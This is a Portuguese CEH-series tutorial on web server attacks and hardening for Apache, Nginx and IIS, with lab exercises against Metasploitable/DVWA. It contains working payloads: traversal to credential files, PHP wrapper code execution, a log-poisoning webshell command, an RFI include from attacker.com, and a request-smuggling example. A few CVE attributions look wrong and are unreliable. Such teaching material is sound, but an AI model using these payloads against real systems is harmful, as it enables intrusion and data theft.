Hacking Web Servers: Apache, Nginx e IIS — Vulnerabilidades e Hardening

Série CEH v13 Zero to Hero — Artigo 24

Web servers são a porta da frente de praticamente qualquer serviço online. Quando você ataca uma aplicação web, o primeiro alvo — ou pelo menos o primeiro obstáculo — é o servidor que a hospeda. Apache, Nginx e IIS respondem por mais de 90% dos web servers no mundo, e cada um tem suas peculiaridades, falhas e formas de endurecimento. Este artigo cobre a arquitetura de um web server, as vulnerabilidades mais exploradas, técnicas de reconhecimento, ferramentas de scanning e um checklist de hardening que você deve aplicar em qualquer servidor que administrar.

1. Arquitetura Web Server — Como funciona

Antes de hackear, entenda o que você está hackeando. O fluxo básico de uma requisição web segue este caminho:

Cliente (browser) → DNS → HTTP Request → Web Server → Application → Database → Response

O cliente resolve o domínio via DNS, estabelece uma conexão TCP (porta 80 para HTTP, 443 para HTTPS) e envia uma requisição HTTP. O web server recebe essa requisição, processa-a e, dependendo da configuração, repassa para a camada de aplicação (PHP, Python, Node.js, ASP.NET) que por sua vez pode consultar um banco de dados. A resposta volta pelo mesmo caminho.

Stack típica

  • OS: Linux (Ubuntu, CentOS, Debian) ou Windows Server
  • Web Server: Apache, Nginx, IIS, LiteSpeed, Caddy
  • Runtime/Application: PHP-FPM, mod_php, uWSGI, Tomcat, ASP.NET
  • App: WordPress, Laravel, Django, Spring Boot
  • Database: MySQL/MariaDB, PostgreSQL, MSSQL, MongoDB

Superfície de ataque

O web server expõe múltiplos vetores de ataque: a própria implementação do servidor (bugs no código do Apache/Nginx/IIS), a configuração (arquivos default, módulos habilitados, verbos HTTP), os protocolos (HTTP/HTTPS, HTTP/2, WebSockets) e a interação com a camada de aplicação (CGI, proxy reverso, rewrite rules). Um atacante não precisa explorar a aplicação diretamente — se o web server estiver mal configurado, o jogo acaba antes de começar.

2. Vulnerabilidades Comuns

Independente do servidor web utilizado, certas classes de vulnerabilidade aparecem repetidamente. Conhecê-las é o mínimo para qualquer pentester.

Credenciais padrão

É bizarro, mas ainda acontece. Painéis administrativos com admin/admin, tomcat/tomcat, root/root. Instalações de appliances (routers, firewalls, appliances de segurança) que expõem interfaces web com credenciais de fábrica. Ferramentas como Hydra e Medusa podem brute-force essas interfaces rapidamente.

Arquivos e diretórios padrão

Todo web server tem arquivos e diretórios que não deveriam estar acessíveis publicamente:

  • Apache: /server-status, /server-info, /.htaccess, /.htpasswd
  • Nginx: /nginx_status, arquivos de configuração expostos
  • IIS: web.config, aspnet_client/, iisstart.htm
  • Comuns: robots.txt, sitemap.xml, /.well-known/, /backup/, /admin/, /phpmyadmin/

Directory Traversal (Path Traversal)

Explorar a falta de sanitização em caminhos para acessar arquivos fora do diretório raiz. Sequências como ../../../etc/passwd (Linux) ou ..\..\..\windows\system32\config\sam (Windows) são os exemplos clássicos. Encoding variations (%2e%2e%2f, double encoding, Unicode) frequentemente bypassam WAFs básicos.

Buffer Overflow

Vulnerabilidades de memória no próprio código do web server. Enviar uma requisição HTTP absurdamente longa (header de 8KB+, URI de 4KB+) pode causar stack overflow. Historicamente relevantes: CVE-2006-3392 (Apache mod_rewrite), CVE-2019-9511 (HTTP/2 Data DDoS).

Server-Side Template Injection (SSTI)

Quando o servidor processa templates do lado do servidor e o atacante consegue injetar código do template engine (Jinja2, Twig, Freemarker, Mako). O resultado é muitas vezes RCE direto. SSTI é um vetor crítico porque explora a confiança do servidor nos dados de entrada.

HTTP Verb Tampering

Alterar o método HTTP para bypassar controles de acesso. Se uma aplicação retorna 401 para GET /admin mas processa HEAD /admin ou OPTIONS /admin, o atacante pode obter informações ou acessar recursos protegidos. O método PUT habilitado em servidores desconfigurados permite upload arbitrário de arquivos — e se você consegue subir um webshell, é game over.

3. Apache — O veterano

O Apache HTTP Server existe desde 1995 e ainda mantém uma fatia significativa do mercado (~30%). Sua arquitetura baseada em processos e threads (MPM prefork, worker, event) é diferente do Nginx, e essa diferença tem implicações tanto de performance quanto de segurança.

Arquivos de configuração

# Linux (Debian/Ubuntu)
/etc/apache2/apache2.conf        # Configuração principal
/etc/apache2/sites-available/     # Virtual hosts
/etc/apache2/mods-enabled/        # Módulos ativos
/var/www/.htaccess                # Overrides por diretório

# Linux (RHEL/CentOS)
/etc/httpd/conf/httpd.conf        # Configuração principal
/etc/httpd/conf.d/                # Configs adicionais

Vulnerabilidades históricas

mod_cgi: O módulo CGI do Apache teve múltiplas vulnerabilidades que permitiam execução de comandos. Se CGI estiver habilitado e o atacante conseguir colocar um script CGI no diretório correto, é RCE direto.

.htaccess misconfiguration: O arquivo .htaccess é processado em cada requisição, o que significa que um erro de configuração pode expor diretórios, permitir override de restrições de segurança ou até habilitar módulos perigosos. Um .htaccess com Options +ExecCGI em um diretório com upload é um clássico caminho para RCE.

server-status e server-info: Esses módulos expõem informações detalhadas sobre o servidor: URLs acessadas, clientes conectados, módulos carregados, configuração do servidor. Informação suficiente para mapear a superfície de ataque inteira. Habilite apenas com restrição de IP.

mod_ssl: Vulnerabilidades históricas como o Heartbleed (CVE-2014-0160) afetaram o OpenSSL utilizado pelo mod_ssl. Manter o OpenSSL atualizado é tão importante quanto manter o Apache atualizado.

Mod_security como WAF

O ModSecurity é o WAF open-source mais utilizado com Apache (e também funciona com Nginx). Com a OWASP Core Rule Set (CRS), ele protege contra OWASP Top 10, injeção de código, XSS, directory traversal e muito mais. A configuração mínima:

# Instalar
apt install libapache2-mod-security2

# Habilitar
a2enmod security2

# Configurar
SecRuleEngine On
SecRule REQUEST_URI "@contains ../../../" "id:1000,phase:1,deny,status:403,msg:'Path Traversal Attempt'"

Para proteção completa, carregue a OWASP CRS:

Include /etc/modsecurity/crs/crs-setup.conf
Include /etc/modsecurity/crs/rules/*.conf

4. Nginx — O challenger

O Nginx superou o Apache em market share (~34%) e é o padrão em containerized environments, CDNs e reverse proxies. Sua arquitetura event-driven, assíncrona e non-blocking permite lidar com milhares de conexões simultâneas com uso mínimo de memória — um único master process orquestra worker processes que tratam requisições de forma event-driven.

Arquivos de configuração

/etc/nginx/nginx.conf               # Configuração principal
/etc/nginx/sites-enabled/           # Virtual hosts (symlinks)
/etc/nginx/conf.d/                  # Configs adicionais
/etc/nginx/fastcgi_params           # Parâmetros FastCGI
/etc/nginx/snippets/                # Blocos reutilizáveis

Vulnerabilidades típicas

Misconfigured location blocks: A forma como o Nginx processa blocos location é uma fonte constante de vulnerabilidades. A diretiva alias é particularmente perigosa quando combinada com um trailing slash ausente:

# VULNERÁVEL — off-by-slash
location /images {
    alias /var/www/images/;
}
# Request: /images../etc/passwd → alias resolve para /var/www/images/../etc/passwd

Isso é o famoso off-by-slash: remover a barra final do path do alias permite traversal. Sempre termine o path do alias com barra.

CRLF injection: O Nginx pode injetar cabeçalhos CRLF (\r\n) em certas configurações de proxy_pass com $uri não sanitizado, especialmente quando o header contém caracteres especiais. Isso pode levar a header injection e response splitting. Versões recentes mitigam isso por padrão, mas configurações customizadas permanecem vulneráveis.

Resolver issues: Quando o Nginx usa resolver para DNS resolution em proxy_pass, um atacante com controle sobre o DNS pode redirecionar o tráfego para servidores maliciosos. SSRF (Server-Side Request Forgery) é a consequência direta.

Buffer overflow: Embora mais raro que no Apache, o Nginx teve vulnerabilidades de buffer overflow, como a CVE-2019-9516 (HTTP/2 PRIORITY flooding) e a CVE-2021-23017 (DNS resolver off-by-one heap write).

Nginx vs Apache — Arquitetura

A diferença fundamental: Apache usa processos/threads (MPM prefork cria um processo por conexão; worker/event usam threads), enquanto Nginx usa event-driven async I/O. Na prática, Nginx escala melhor com alto volume de conexões concorrentes, enquanto Apache oferece mais flexibilidade via .htaccess e módulos por diretório. Em segurança, a simplicidade do Nginx é uma vantagem — menos módulos, menos superfície de ataque — mas as misconfigurations de location blocks compensam isso.

5. IIS (Internet Information Services)

O IIS é o web server da Microsoft, integrado ao Windows Server. Com ~10-15% de market share, é dominante em ambientes corporativos que usam stack Microsoft (.NET, MSSQL, Active Directory). Se você faz pentest em enterprise, vai encontrar IIS.

Arquivos de configuração

# IIS 7+
C:\Windows\System32\inetsrv\config\applicationhost.config  # Configuração global
C:\inetpub\wwwroot\web.config                                # Config por aplicação

# IIS Express (desenvolvimento)
%USERPROFILE%\Documents\IISExpress\config\applicationhost.config

Vulnerabilidades típicas

web.config exposure: O arquivo web.config contém connection strings (com senhas de banco de dados), configurações de autenticação, handlers customizados e muito mais. Se o atacante conseguir ler esse arquivo — via LFI, directory traversal ou acesso direto mal configurado — tem as chaves do reino.

PUT method: Historicamente, o IIS habilitava o método PUT por padrão, permitindo upload de arquivos. Um atacante poderia fazer PUT /shell.aspx com o conteúdo de um webshell. Desabilite métodos HTTP desnecessários.

Short File Name enumeration (8.3): O Windows gera nomes curtos (8.3 format) automaticamente para compatibilidade. Um atacante pode enumerar nomes de arquivo e diretório enviando requisições com variações de til (~1): GET /aspx~1 HTTP/1.1 — se o arquivo existir, o IIS responde 404 (not found, mas o short name existe); se não existir, responde 400. Isso permite mapear a estrutura de arquivos sem directory listing. IIS 10+ mitiga isso por padrão, mas servidores mais antigos ainda são vulneráveis.

WebDAV: O WebDAV estende o HTTP para gerenciamento de arquivos remotos (PUT, DELETE, PROPFIND, LOCK). Se habilitado sem autenticação forte, um atacante pode ler, escrever e deletar arquivos no servidor. Desabilite WebDAV a menos que você precise explicitamente.

HTTP.sys exploits: O driver de protocolo HTTP do Windows (HTTP.sys) teve vulnerabilidades críticas. A CVE-2021-31166 permitia RCE remoto com uma única requisição HTTP/2 malformed — sem autenticação, sem interação do usuário. Patch crítico.

6. Directory Traversal e LFI

Directory traversal e Local File Inclusion (LFI) são técnicas distintas mas frequentemente combinadas. O objetivo: ler arquivos do sistema que não deveriam ser acessíveis via web.

LFI — Local File Inclusion

LFI ocorre quando a aplicação inclui um arquivo local baseado em input do usuário sem sanitização adequada:

# Exemplo vulnerável (PHP)
include($_GET['page'] . '.php');
# Ataque: ?page=../../../etc/passwd%00
# O null byte (%00) trunca a extensão .php — funciona APENAS em PHP < 5.3.4
# Em PHP 7.4+/8.x essa técnica é OBSOLETA e não funciona
# Para PHP moderno, usar php://filter como técnica principal

Alvos clássicos:

# Linux
../../../etc/passwd
../../../etc/shadow
../../../var/log/apache2/access.log
../../../proc/self/environ

# Windows
..\..\..\windows\system32\config\sam
..\..\..\windows\system32\config\system
..\..\..\inetpub\wwwroot\web.config

PHP Wrappers — De LFI a RCE

Os wrappers do PHP transformam LFI em RCE:

# php://filter — Ler código-fonte (bypass de extensão)
?page=php://filter/convert.base64-encode/resource=index.php

# php://input — Executar código PHP via POST body
?page=php://input
# POST body: <?php system('id'); ?>

# data:// — Executar código inline
?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCdpZCcpOyA/Pg==

# expect:// — Executar comandos (requer extensão)
?page=expect://id

# phar:// — Deserialization attacks via arquivos Phar
?page=phar://malicious.phar/test.txt

A técnica php://filter é particularmente útil para enumerar código-fonte: você codifica o arquivo em base64 e decodifica depois. Isso bypassa a execução e retorna o código-fonte bruto.

Log Poisoning

Se o LFI permitir incluir arquivos de log, o atacante pode envenenar o log:

# 1. Injetar PHP no User-Agent
curl -A "<?php system(\$_GET['cmd']); ?>" http://target/

# 2. Incluir o log via LFI
?page=../../../var/log/apache2/access.log&cmd=id

O log do Apache registra o User-Agent, que agora contém código PHP. Quando o LFI inclui o log, o PHP executa o payload.

RFI — Remote File Inclusion

RFI permite incluir arquivos remotos (requer allow_url_include = On no php.ini, desabilitado por padrão desde PHP 5.2):

?page=http://attacker.com/shell.txt
# shell.txt contém código PHP que é executado no servidor alvo

Ferramentas

  • DirBuster: Brute-force de diretórios e arquivos via wordlist
  • Gobuster: Alternativa moderna em Go, mais rápida
  • ffuf: Fuzzer web extremamente rápido, suporta múltiplos payloads
# Gobuster — enumeração de diretórios
gobuster dir -u http://target -w /usr/share/wordlists/dirb/common.txt -x php,txt,bak,config

# ffuf — fuzzing de parâmetros com LFI payloads
ffuf -u http://target/page.php?FUZZ=../../../etc/passwd -w /usr/share/wordlists/seclists/Discovery/Web-Content/burp-parameter-names.txt

6.5. HTTP Request Smuggling

HTTP Request Smuggling explora diferenças na forma como dois servidores (front-end e back-end) interpretam o tamanho de uma request HTTP. Isso acontece quando há um proxy/reverso (Cloudflare, Nginx, HAProxy) na frente de um servidor de aplicação (Apache, Node.js, Tomcat).

Mecanismo: O HTTP/1.1 oferece duas formas de definir o tamanho do body:

  • Content-Length — número total de bytes
  • Transfer-Encoding: chunked — envio em blocos com tamanho hexadecimal

Quando o front-end usa um método e o back-end outro, a request “smuggled” (contrabandeada) é processada de forma diferente pelos dois lados.

Variantes principais:

  • CL.TE: Front-end usa Content-Length, back-end usa Transfer-Encoding. A request seguinte do front-end é “engolida” como parte do body da request smuggled.
  • TE.CL: Front-end usa Transfer-Encoding, back-end usa Content-Length. Semelhante mas na direção inversa.
  • TE.TE: Ambos usam Transfer-Encoding, mas interpretam differently (ex: um obedece chunked, outro obedece CL no body).
Exemplo CL.TE:

POST / HTTP/1.1
Host: target.com
Content-Length: 6
Transfer-Encoding: chunked

0\r\n\r\nGET /admin HTTP/1.1
Host: target.com

O front-end vê Content-Length: 6 e encaminha apenas “0\r\n\r\n”. O back-end processa chunked, lê o chunk “0” (fim) e depois processa a request “GET /admin” seguinte como uma nova request legítima.

Impacto: Bypass de autenticação, cache poisoning (envenenar cache com conteúdo malicioso), request queue poisoning, e até RCE em cenários específicos.

Ferramentas:

  • smuggler (pip install smuggler) — detection e exploitation automática
  • Burp Suite — Turbo Intruder extension para CL.TE/TE.CL
  • http-request-smuggler (nuclei template) — scan automatizado

Contra-medidas: Usar HTTP/2 (não suporta chunked smuggling), alinhar parsing entre front-end e back-end, desabilitar Transfer-Encoding no front-end, e usar headers X-Forwarded-For com validação.

7. Ferramentas de Scanning

Nikto

O Nikto é o scanner de web server open-source mais conhecido. Ele testa contra uma base de dados com mais de 6.700 vulnerabilidades, verifica versões desatualizadas, procura por arquivos e diretórios perigosos e testa configurações inseguras.

# Scan básico
nikto -h http://target

# Scan com porta específica
nikto -h http://target -p 8080

# Scan com tuning (seções específicas)
nikto -h http://target -Tuning 1234
# 1: File uploads, 2: Interesting files, 3: Misconfigurations, 4: Info disclosure

# Scan salvando output
nikto -h http://target -o results.html -Format html

# Scan via proxy (para esconder seu IP)
nikto -h http://target -useproxy http://proxy:8080

O Nikto é barulhento — gera muitos logs no servidor alvo. Em um pentest real, combine com throttling (-Pause) para não derrubar o servidor.

Gobuster

# Enumeração de diretórios
gobuster dir -u http://target -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50

# Com extensões
gobuster dir -u http://target -w wordlist.txt -x php,asp,aspx,jsp,html,txt,bak,old,zip

# DNS subdomain enumeration
gobuster dns -d target.com -w /usr/share/wordlists/amass/subdomains-top1mil-5000.txt

ffuf

# Directory fuzzing
ffuf -u http://target/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt

# Virtual host fuzzing
ffuf -u http://target -H "Host: FUZZ.target.com" -w vhosts.txt

# Fuzzing com filter (status code 200 apenas)
ffuf -u http://target/FUZZ -w wordlist.txt -fc 404

Wappalyzer e WhatWeb

Fingerprinting de tecnologia — identificar qual stack a aplicação utiliza:

# WhatWeb (CLI)
whatweb http://target
whatweb http://target -a 3  # Aggressiveness level 3

# Wappalyzer (extensão de browser ou CLI)
wappalyzer http://target --format json

O output inclui: CMS, linguagem, framework, web server, OS, CDN, analytics, JavaScript libraries. Essa informação orienta qual vetor de ataque explorar primeiro.

Nmap HTTP Scripts

# Enumeração HTTP
nmap -p 80,443 --script http-enum target

# Vulnerabilidades conhecidas
nmap -p 80,443 --script http-vuln* target

# Banner grabbing
nmap -p 80,443 --script http-server-header target

# Enumeração de métodos HTTP
nmap -p 80 --script http-methods target

# Brute-force de diretórios
nmap -p 80 --script http-brute target

8. Reconhecimento de Web Server

Todo ataque começa com reconhecimento. Quanto mais você sabe sobre o alvo, mais preciso é o ataque.

Banner Grabbing

# netcat
nc target 80
HEAD / HTTP/1.0
# (enter duas vezes)

# curl
curl -I http://target

# telnet
telnet target 80
GET / HTTP/1.0

O header Server na resposta revela o tipo e versão: Server: Apache/2.4.51, Server: nginx/1.21.4, Server: Microsoft-IIS/10.0.

Headers informativos

# Identificar headers
curl -sI http://target | grep -E '(Server|X-Powered-By|X-AspNet-Version|X-AspNetMvc-Version)'
  • Server: Tipo e versão do web server
  • X-Powered-By: Tecnologia backend (PHP/7.4.3, Express, ASP.NET)
  • X-AspNet-Version: Versão do .NET Framework
  • X-AspNetMvc-Version: Versão do ASP.NET MVC

Enumerar recursos

# robots.txt — diretórios que o admin pediu para não indexar
curl http://target/robots.txt

# sitemap.xml — mapa do site
curl http://target/sitemap.xml

# /.well-known/ — padrão para descoberta de serviços
curl http://target/.well-known/security.txt
curl http://target/.well-known/change-password

# Favicon hash — identificar tecnologia via hash do favicon
curl -s http://target/favicon.ico | md5sum
# Compare com https://wiki.owasp.org/index.php/OWASP_favicon_database

9. Hands-on — Scanning contra Metasploitable/DVWA

Vamos combinar todas as ferramentas em um fluxo prático de reconhecimento e enumeração. Os alvos: Metasploitable 2 (IP: 192.168.1.102) e DVWA (http://192.168.1.102/dvwa).

Passo 1 — Banner grabbing e fingerprinting

# Banner grab
curl -I http://192.168.1.102

# WhatWeb fingerprint
whatweb http://192.168.1.102
# Output esperado: Apache/2.2.8 (Ubuntu), PHP/5.2.4, etc.

# Nmap header scan
nmap -p 80,443 -sV --script http-server-header 192.168.1.102

Passo 2 — Enumeração de diretórios

# Gobuster
gobuster dir -u http://192.168.1.102 \
  -w /usr/share/wordlists/dirb/common.txt \
  -x php,txt,bak,old,conf \
  -t 20 \
  -o gobuster-results.txt

# Resultados típicos do Metasploitable:
# /admin (302), /cgi-bin/ (403), /dav (401),
# /dvwa (200), /mutillidae (200), /phpmyadmin (200),
# /robots.txt (200), /server-status (200)

Passo 3 — Nikto scan completo

# Nikto com output HTML
nikto -h http://192.168.1.102 \
  -Tuning 123456789abc \
  -o nikto-report.html \
  -Format htm

# Resultados típicos:
# + OSVDB-3092: /admin/: Directory indexing found
# + Apache/2.2.8 appears outdated (CVEs listadas)
# + /phpmyadmin/: phpMyAdmin encontrado
# + /server-status: Apache status exposto
# + /cgi-bin/: CGI directory encontrado

Passo 4 — Teste de LFI no DVWA

# Acessar DVWA com security level "low"
# Ir para DVWA Security → set low → Submit

# Navegar para File Inclusion
# Payload: ?page=../../../../../../../etc/passwd
# No DVWA low security, funciona diretamente

# Com php://filter para ler código-fonte
?page=php://filter/convert.base64-encode/resource=../../ vulnerable/file_inclusion.php

# Decodificar o base64 para ver o código-fonte vulnerável
echo "base64output" | base64 -d

Passo 5 — Nmap HTTP scripts

# Enumeração completa
nmap -p 80 --script http-enum,http-server-header,http-methods,http-headers 192.168.1.102

# Procurar vulnerabilidades específicas
nmap -p 80 --script http-vuln* 192.168.1.102

# Testar métodos HTTP permitidos
nmap -p 80 --script http-methods 192.168.1.102
# Se PUT, DELETE, TRACE aparecem como "allowed", investigar

Passo 6 — Verificar server-status do Apache

# Acessar status do Apache (se exposto)
curl http://192.168.1.102/server-status

# Output mostra:
# - URLs acessadas recentemente
# - Clientes conectados
# - CPU e memória por worker
# - Versão do Apache
# - Módulos carregados

Esse fluxo — banner grab → fingerprint → directory enum → vulnerability scan → manual testing — é o mesmo que você usaria em qualquer pentest de web server. A diferença está no que você faz com os resultados.

10. Hardening Checklist

Após entender como atacar, saiba como defender. Este checklist aplica a qualquer web server (Apache, Nginx ou IIS):

Configuração do servidor

  • Desabilitar directory listing: Ninguém precisa ver a estrutura de arquivos via browser 
    # Apache
Options -Indexes

# Nginx
autoindex off;

# IIS (web.config)
<directoryBrowse enabled="false" />
  • Remover arquivos padrão: Apagar server-status, server-info, iisstart.htm, páginas de exemplo, arquivos de instalação
  • Desabilitar módulos desnecessários: Cada módulo ativo é superfície de ataque. Desabilite CGI, WebDAV, server-info, server-status, autoindex e tudo que não estiver em uso ativo
  • Desabilitar métodos HTTP desnecessários: Permita apenas GET, POST, HEAD. Bloqueie PUT, DELETE, TRACE, OPTIONS, CONNECT 
    # Apache
<LimitExcept GET POST HEAD>
    Require all denied
</LimitExcept>

# Nginx
if ($request_method !~ ^(GET|POST|HEAD)$) {
    return 405;
}
  • Remover headers informativos: Não exponha versão do server nem tecnologia backend 
    # Apache — ServerTokens Prod, ServerSignature Off
ServerTokens Prod
ServerSignature Off
Header always unset X-Powered-By

# Nginx
server_tokens off;

# IIS — via web.config ou URL Rewrite
<system.webServer>
  <httpProtocol>
    <customHeaders>
      <remove name="X-Powered-By" />
      <remove name="Server" />
    </customHeaders>
  </httpProtocol>
</system.webServer>

Headers de segurança

# Adicionar em todos os responses
X-Frame-Options: DENY                    # Anti-clickjacking
X-Content-Type-Options: nosniff          # Anti-MIME sniffing
X-XSS-Protection: 1; mode=block          # Anti-XSS (legacy browsers)
Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self'  # CSP
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload  # HSTS
Referrer-Policy: strict-origin-when-cross-origin
Permissions-Policy: geolocation=(), camera=(), microphone=()

HTTPS e criptografia

  • Habilite HTTPS em todas as portas — redirecione HTTP para HTTPS via 301
  • Use TLS 1.2+ mínimo, prefira TLS 1.3
  • Desabilite cipher suites fracas (RC4, DES, 3DES, export ciphers)
  • Use certificados válidos (Let’s Encrypt é gratuito)
  • Configure HSTS com preload para evitar downgrade attacks

Firewall e rede

  • Configure firewall (iptables/nftables/Windows Firewall) para permitir apenas portas necessárias (80, 443)
  • Bloqueie acesso SSH/RDP a partir de IPs específicos
  • Implemente rate limiting para evitar brute-force e DDoS 
    # Nginx — rate limiting
limit_req_zone $binary_remote_addr zone=one:10m rate=10r/s;
server {
    limit_req zone=one burst=20;
}

# Apache — mod_evasive
DOSHashTableSize 3097
DOSPageCount 2
DOSSiteCount 50
DOSPageInterval 1
DOSSiteInterval 1
DOSBlockingPeriod 10
  • Use fail2ban para banir IPs que fazem requisições suspeitas

WAF

  • Implemente ModSecurity com OWASP CRS (Apache/Nginx)
  • Considere WAFs comerciais: Cloudflare, AWS WAF, Azure WAF
  • Configure regras customizadas para o seu ambiente específico
  • Monitore false positives — um WAF mal configurado bloqueia usuários legítimos

Logs e monitoring

  • Habilite logs de acesso e erro com nível de detalhe adequado
  • Configure log rotation para evitar exaustão de disco
  • Monitore logs em tempo real (ELK Stack, Graylog, Splunk)
  • Configure alertas para padrões de ataque: múltiplos 404s, SQL injection attempts, directory traversal
  • Implemente integrity monitoring (AIDE, OSSEC) para detectar alterações em arquivos de configuração

Atualização e manutenção

  • Atualize regularmente: web server, OS, PHP/runtime, OpenSSL, database
  • Assine CVE mailing lists relevantes (Apache, Nginx, Microsoft Security)
  • Faça patching automatizado com janela de manutenção definida
  • Teste patches em staging antes de aplicar em produção
  • Realize vulnerability scans periódicos (mensal no mínimo)

11. Próximo Artigo

No Artigo 25 — Wireless Hacking, vamos cobrir o ataque a redes sem fio: como o Wi-Fi funciona em nível de protocolo, técnicas de captura de handshakes WPA/WPA2, ataques WPS, evil twin, rogue access points e como proteger redes wireless corporativas. Se você pensa que a rede cabeada é segura, espere até ver o que acontece no ar.

Série CEH v13 Zero to Hero — De zero a certificado, um artigo de cada vez.